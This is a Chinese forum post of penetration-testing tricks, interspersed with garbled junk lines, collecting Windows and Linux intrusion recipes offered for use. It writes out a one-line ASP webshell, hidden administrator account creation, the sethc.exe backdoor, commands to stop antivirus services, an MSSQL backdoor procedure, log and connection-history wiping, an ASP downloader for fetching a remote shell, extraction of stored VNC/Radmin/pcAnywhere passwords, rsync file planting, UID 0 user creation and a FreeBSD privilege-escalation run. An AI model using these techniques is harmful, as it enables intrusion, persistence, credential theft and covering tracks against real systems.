渗透技巧总结

admin

旁站路径问题
1、读网站配置。
' x7 f  w# R) |9 D2、用以下VBS
2 m  h8 K: B- E5 \On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
5 P6 j; G& |5 y& }" j
- \& D0 y  S2 G* o) B3 {5 F0 iMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
2 u& K5 W! o6 @8 f+ d# B* N$ v        WScript.Quit
5 I2 Q. }, l; r# zEnd If
Set ObjService=GetObject

, ]3 _" t! h/ u- O# F  c( N("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
" J1 p" {' m1 G5 w+ M        If IsNumeric(obj3w.Name)

  A1 n+ G/ t# KThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
- p0 c1 V: T3 A, i         
% X- l2 \* m2 Z0 u' j- C- S' ?
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
" ]3 w( V2 K3 V% ~6 ]                If Err
6 s' X2 u, A+ i4 |, r3 X0 O
& x" U: e* }2 h: N# V2 |, o0 o1 r7 f<> 0 Then WScript.Quit (1)
7 |5 g$ C+ u1 w9 {6 d9 n: S- O. h                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
: g0 R$ K3 j/ `# Q0 T                For Each Binds In OService.ServerBindings
' z* \+ E' G7 z9 H     
( R% {2 X9 Y. S6 ^5 \5 G
" l* \7 a% f+ i% c! [$ E                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
/ i- q0 }# _4 A( h1 W
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
# `0 o5 x. D& b9 ]1 N, U
         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
复制代码
* h' E1 J" J4 a, \3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
6 H1 I* k2 F) A8 Z' }- U+ ourl/wp-content/plugins/akismet/hello.php
& G8 c4 \( K; e6 t* U: g——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
8 {# X  D0 \1 XphpMyAdmin/darkblue_orange/layout.inc.php
( N' G: a2 W0 ~: H8 BphpMyAdmin/index.php?lang[]=1
2 `! o; x7 H! o) O* a  iphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
& y, b4 B4 c' K# B1 s+ j: G网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
- H, @. {) r& c% B; n8 @————————————————————
# [* T! E$ |. y& n$ c5 _4 QCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
, M+ x6 [0 m) A  T. fnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
; K: E5 d5 V# Y! u, P9 A' qnetsh ras ip show config #查看VPN分配IP的方式
& u( d8 j8 W& J* A* Z% N4 _# onetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
( w2 F1 D+ K" j  ~2 q( Nnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
# z2 }+ t. @9 }# L: u命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
, I% u9 D5 k6 P, g
* B) [  c. O7 q另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
+ _. ]  j! X* |6 {7 Nz=o.create("test") ;
: L% G/ D) E; E+ O, M, W  ~4 fz.changePassword("123456","")
z.setting("AccountType")=3;
; i! ?. C: x( M& @+ A
vbs:
Set   o=CreateObject( "Shell.Users" )
) Z' |% ?- D% S, {  T  kSet z=o.create("test")
' z- S6 q; p+ O5 S* K- bz.changePassword "123456",""
7 V! S  H5 @! \. E& h6 mz.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
( G8 z' l8 \2 @1 w" Ec、终端服务器超出了最大允许连接
- P; L" w  v; J. ~( sXP 运行mstsc /admin
; j8 h% F. {( b+ `6 d: I2003 运行mstsc /console   

3 k5 |# ?. [3 J, u杀软关闭（把杀软所在的文件的所有权限去掉）
/ P/ V/ _8 E3 g处理变态诺顿企业版：
3 u1 V' a! Z3 y" _# ~net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
' l2 C/ T2 {: Wnet stop "Symantec Event Manager" /y
; f: R/ l$ C( v8 Z* snet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————

7 W- o" @0 S( L- i( k( W5次SHIFT：
0 I6 h) @$ \8 l/ B7 p7 l/ C( @copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
& t7 e2 ^: C1 r" A——————————————————————
隐藏账号添加：
6 Q, H) ?7 Y: J1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
% Z* x7 l& @7 R! C' b0 L2、导出注册表SAM下用户的两个键值
( d& b" b2 P" _) o3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
9 x9 p9 |  h2 `( @( kMSSQL扩展后门：
USE master;
* D. a5 E9 Z/ T' v  lEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
7 ~7 ?* F+ R1 z% K' b3 zGRANT exec On xp_helpsystem TO public;
" a/ R  r; f& y———————————————————————
! z8 _& k5 M# h6 v日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
$ u, s; s, Z- W! e# E; x0 u- h直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
* z; v+ R3 ^1 c用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
4 t+ D  g+ E& ~1 p/ o
MSSQL查询分析器连接记录清除：
; [8 ^, ~  l# q) N9 n  J; lMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
" T+ k4 p3 F2 A! z2 jMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
7 X( J! ^% I6 \9 d% K* E! i" X7 m防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
0 t+ g0 R6 b6 M; W
9 S4 k2 S1 h1 \7 J, M% [<%
, Q2 N" u' e7 n1 f+ }Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
. a8 {5 G" S) {Dim Ads, Retrieval, GetRemoteData
7 Q! j5 U& C2 u  \9 t: d9 FOn Error Resume Next
. g& p+ T2 V, r* VSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
0 ~4 P6 h8 n3 f2 A' G.Open "Get", s_RemoteFileUrl, False, "", ""
, i; u: H$ W7 O$ V" _.Send
GetRemoteData = .ResponseBody
End With
- M( Z$ [2 C; X3 X& `2 c7 PSet Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
( M% M# [3 N  ?1 _.Type = 1
.Open
9 j, ?! I6 M% E! e0 a% j.Write GetRemoteData
$ o5 ^$ Q' _+ W* y# r.SaveToFile Server.MapPath(s_LocalFileName), 2
7 |/ d3 J$ O, r0 \7 [# L.Cancel()
2 S# u/ I- V) F- u9 o% j.Close()
End With
/ F2 _7 X* h0 r( w  A* TSet Ads=nothing
0 X- _! T4 ~1 i/ y- _  W' tEnd Sub
; g; ~- e$ u5 w8 `! I2 B( G
& m# }& B) v0 H: n" c7 {eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
6 g& M. `0 b; n+ M: e. S%>

VNC提权方法:
+ a, B, ?: K$ M  _利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
/ k1 _0 ?6 R+ w( V5 I; Q注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
  M: _3 Q2 A; B0 {) Uregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
( g$ ?7 D& M$ O& M: |" c! u: ARadmin 默认端口是4899，
) ?. ^. N2 f5 z  y# V: r# gHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
9 Y! d) T% [( j8 p* J% IHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
% Y! [6 Q* b; x' Z7 b  \! V3 p- ?" P然后用HASH版连接。
( ^9 T, L/ Y) W+ ]如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
! I1 e) x0 I8 S( G+ F3 l- nUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
% \, I4 Z0 C5 x( C2 Y8 s——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
1 Q0 k0 ?. g) _$ l来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
# |1 \1 i  i6 D# l没有删cmd组建的直接加用户。
, H! \. j) T! L8 ]0 ~7i24的web目录也是可写，权限为administrator。
& C, g  w* k4 S: l2 Q5 B& {
; e8 `4 y. P: V& i# R1433 SA点构建注入点。
, s+ y1 J' N7 Z  {+ f" h' J<%
strSQLServerName = "服务器ip"
2 y" F) p  [" C2 G% U- {9 ?strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
. Q2 a" V* p; M4 C3 istrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
9 f6 a0 w) l8 J! t9 {strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
/ p1 C( w' h/ N: S0 r  J
strSQLDBName & ";"
conn.open strCon
" T# `( k9 l$ B* P# ?$ Ndim rs,strSQL,id
$ ]1 j# W2 r. z/ P+ kset rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
, G) L: u% _# N7 w6 v8 {8 ^******liunx 相关******
- r  M9 j" v5 q# p' [8 z一.ldap渗透技巧
) `" S7 X3 x" l* |% g1.cat /etc/nsswitch
4 m4 J4 f+ E" U看看密码登录策略我们可以看到使用了file ldap模式
# W: O/ C4 ^' N" O6 }
+ k8 ^- v% g( v) J/ E$ U* g" E4 h0 Q2.less /etc/ldap.conf
. g9 \, i+ _* t7 ^$ t7 X$ nbase ou=People,dc=unix-center,dc=net
2 [9 m7 h5 Y: I. b3 x" V1 {找到ou,dc,dc设置

3.查找管理员信息
8 K9 J4 ]0 j; @! t1 ~# f匿名方式
/ V2 w( l( T; n1 I  k  C: pldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

) X* M3 @) m) a' W
( w# l7 `; C5 u$ r$ p4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
8 L. w4 o6 y5 m9 m1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
3 P' w: N! N4 z; X2 ?8 x; z
2.less /etc/ldap.conf
" B5 r/ y1 h7 x( Q* Pbase ou=People,dc=unix-center,dc=net
( {% {5 L1 I% s' B  K( Q* z找到ou,dc,dc设置
) ~9 i; N2 N+ O2 L3 }
3.查找管理员信息
0 Z$ k" ]: ]" O/ Z" e匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
6 P. T+ x2 i( _& P7 P3 z) u- \+ a) B有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

1 V- s4 @4 G* N$ @7 F8 R0 n# ]
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
& `/ n# @3 ^5 F/ h3 Tversion: 1
/ {4 c2 N5 t: k/ X! m1 Idn: dc=ruc,dc=edu,dc=cn
- Z  a8 N7 [, F) s6 r2 y) fdc: ruc
8 o- {% r" G& B- t- Z; ~! aobjectClass: domain
: D- |# v# b$ Q/ Y  `, ?) D  o+ y5 G
dn: uid=manager,dc=ruc,dc=edu,dc=cn
  E3 g2 M- c/ s! [0 g8 b& D' vuid: manager
+ h; g. C% G8 p% s1 PobjectClass: inetOrgPerson
4 l, M8 D* A, d: V- hobjectClass: organizationalPerson
/ s. G9 ]. Z$ A/ X* J' x$ l+ iobjectClass: person
objectClass: top
sn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
, a0 C; l1 F) I) s  O0 y7 Xuid: superadmin
objectClass: inetOrgPerson
: b2 \2 _! S. e* VobjectClass: organizationalPerson
objectClass: person
) b+ y; X6 u4 s1 hobjectClass: top
! [6 z* x% S: s+ y% L: L" Y" Csn: superadmin
cn: superadmin
9 W0 R: {0 }) u6 u
dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
( u& n. P& Y" M; ^3 u7 FobjectClass: organizationalPerson
objectClass: person
& R% l) c9 Q- b& W! ^) r7 C4 eobjectClass: top
* P' ]1 Y/ @. Y% m0 ^3 wsn: admin
: ^" Z9 _: X; V0 Z5 y( Wcn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
0 D) U+ A2 e( Y0 |; Tuid: dcp_anonymous
objectClass: top
& |  E, g/ j$ c* O$ N' ~  HobjectClass: person
objectClass: organizationalPerson
# _8 p6 e" C$ O; L1 hobjectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

2.查看基类
  S! K* b. y/ g0 S7 fbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
# S3 D. g, e" w, ?
0 P* y7 I. ^2 L# jmore
7 `) A$ \" }& Uversion: 1
% w& F/ R6 T9 v9 d/ [* Pdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
5 O" T5 N. j: K; {) c
3.查找
1 }6 F( L! S! n1 [" O2 dbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
7 L. a. b  p% @1 @. I4 H7 ]version: 1
( J& h- T# M9 Q4 h" t1 S9 Udn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
3 w7 s( c- z2 @7 _! s! QsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
3 Y, n1 Z" l& o* |% {" i. FsupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
3 M' i# ?. F: rsupportedExtension: 2.16.840.1.113730.3.5.6
4 c: p& \" L; \supportedExtension: 2.16.840.1.113730.3.5.4
) C" b7 m% f9 E; t+ NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
( |4 {$ k3 |4 k' _" ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
% j% d" Q9 u8 s7 }1 v2 ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
3 \0 r- X9 g7 z1 x% LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
5 m% g( H! U1 q. J! b3 Q9 ?# GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
! C; d, b) k3 @) n) p5 zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
* I; X8 m+ S  psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
7 [9 t" O  w/ B) v. \" }4 ]% t. osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
; y8 d! C2 L0 u$ rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
" s$ w6 z" i* m/ E/ x: g, u6 @: nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
5 \  y7 c0 ~2 \  m4 FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
" C& N* e( j. f3 d/ g0 qsupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
  t' w9 y5 o  W3 U; d( \supportedControl: 2.16.840.1.113730.3.4.16
) Z3 x" e+ Q$ B; l7 nsupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
+ Z. c& p. _, l, ?, m, CsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
6 f! O7 p2 Y# M1 J0 ~supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
& [( y5 N% ^& f$ Y$ ^% PsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
; c/ b5 I; B+ m0 tsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
$ j1 M% M4 p6 d" k/ N9 K  AsupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
3 }2 m& u+ B" I. PsupportedControl: 2.16.840.1.113730.3.4.13
0 g$ {  C1 m- O8 U, }" J5 D* }5 KsupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
; Q. Z  S% h3 Z' X" PsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
7 v! Q/ G" [: w. v1 }8 ]$ \dataversion: 020090516011411
, P. F7 n0 N2 tnetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
3 o# b, |4 u& i1 ?; HsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
5 o& n" T2 b: R) r2 v6 E2 B; WsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
+ p- M8 ?3 Y* LsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
/ {/ o/ D8 ]: ?. wsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
8 Q6 s5 V& m2 N1 v7 D/ KsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
- w  o* Z9 _1 ?2 ZsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
* ^/ v- j1 Z$ m  ssupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
' [9 Q+ h+ q/ n: {8 |, qsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
0 l% k4 p$ V: C4 _supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
0 \* B" ~6 A7 WsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
- ?; Z" i, L6 P3 a6 C. FsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
' K; @2 ^9 P3 ~6 `supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
& `. i# @' o; T7 `# |6 P" _/ usupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
6 |" b! z0 Q! asupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
6 d  P( S5 P. G6 QsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
& R0 [) b( D: UsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
1 o5 j9 q$ h4 h) H9 |, e: x3 |supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
& D& i/ A, J1 E, Q2 F! GsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
- W. t! h$ `" OsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
8 w! v( v8 p! C) |, p1 KsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2 S4 O+ Q3 K. V' ?5 r" X$ M& x2. NFS渗透技巧
3 H4 o) \7 d9 ^showmount -e ip
列举IP
  |* m% i1 d8 g: a——————
% d, v7 k# ?; T7 E3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
# l; ?, p. E5 V9 vfinance
img_finance
* a' `$ M* [# i* K& gauto
" n! `+ j* l6 {, I, {9 Kimg_auto
html_cms
img_cms
$ |- a+ f1 @! o; u' k- n! Eent_cms
ent_img
6 d" C' X$ I& K# [4 Zceshi
' c1 D4 K. m" Y3 S  {res_img
: t0 @. x' ^, ~4 y5 z( ~! Sres_img_c2
chip
chip_c2
ent_icms
. ^+ F; @9 |' p2 b; J" ]8 Tgames
9 _8 z! w5 h  P7 l% E# U/ Zgamesimg
media
+ u! v9 a8 r" H' Bmediaimg
, w4 {: [; ^5 j% q: wfashion
res-fashion
$ N- P- g2 z- z* y" N) z. S/ w; bres-fo
0 q4 Y  C0 C7 E9 k2 T+ wtaobao-home
4 M4 s( m% B  q3 q) m7 h7 N0 `res-taobao-home
$ q! K/ _% s5 z; ahouse
res-house
7 E0 Q& M# J: D' u2 sres-home
res-edu
res-ent
res-labs
res-news
( Y% m# q5 b4 G4 o/ ]7 vres-phtv
/ F$ g% p3 P4 Z' {1 Pres-media
& D* \) j' a. a8 _  ehome
edu
5 ?0 k+ @! o- [/ p  |news
* Q& H; v- Y: A1 {: ures-book

& Q2 z8 b: i0 y6 P. v5 K看相应的下级目录(注意一定要在目录后面添加上/)
5 n' i2 @  k1 M/ r7 ^0 x0 y
0 w4 \' L6 |* ^8 n5 a9 Q$ [8 g
% n( p  Q0 Y5 Z  arsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
# G- R- f7 H7 D) ursync 210.51.X.X::edu/
' ?" O2 O" c; {/ Z7 B
$ V/ B+ a6 G6 B2.下载rsync服务器上的配置文件
( `7 r9 B6 |1 [rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
  e' Q" W2 }3 W; U: k
/ t  J2 p+ o( a3.向上更新rsync文件(成功上传,不会覆盖)
9 |  J- t: I6 M! _" C. wrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
( K( o$ _# C' @1 w# {' Y9 Whttp://app.finance.xxx.com/warn/nothack.txt
  t& L3 I4 q/ S! T+ ^
四.squid渗透技巧
nc -vv baidu.com 80
- r, O, G( C+ a' Q. Z5 U* sGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
4 ~4 G# n0 r) v6 l0 p! c五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
+ u' T. B/ w" }+ n
六.joomla渗透小技巧
" s+ h' n% t. m) `9 D2 F确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

5 ^) O! P# a/ @, u; u0 c; q1 ]15&catid=32:languages&Itemid=47

重新设置密码
1 f8 ]4 V4 f" Uindex.php?option=com_user&view=reset&layout=confirm

+ Y0 D! s' p7 s$ n  H8 ]七: Linux添加UID为0的root用户
! I3 o9 q8 \9 b# B& A# y8 Kuseradd -o -u 0 nothack
2 b( ]% g$ X, l; v0 ^* b- m
: N: C9 y* f/ F4 @" p9 [* E八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
8 n0 t: X( @) }+ r' y3 d& T* [argp@julius ~]$ sysctl vfs.usermount
1 s; p- u  I( h! _4 j3 H; N3 r* vfs.usermount: 1
( T5 ^7 V8 O2 y* [argp@julius ~]$ id
0 T4 E4 x6 i5 ^1 I2 J* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
5 r1 N( t! y) z7 V& Q, @( m* O- S* [argp@julius ~]$ ./nfs_mount_ex
*
4 c( t- u" d4 E. @  tcalling nmount()

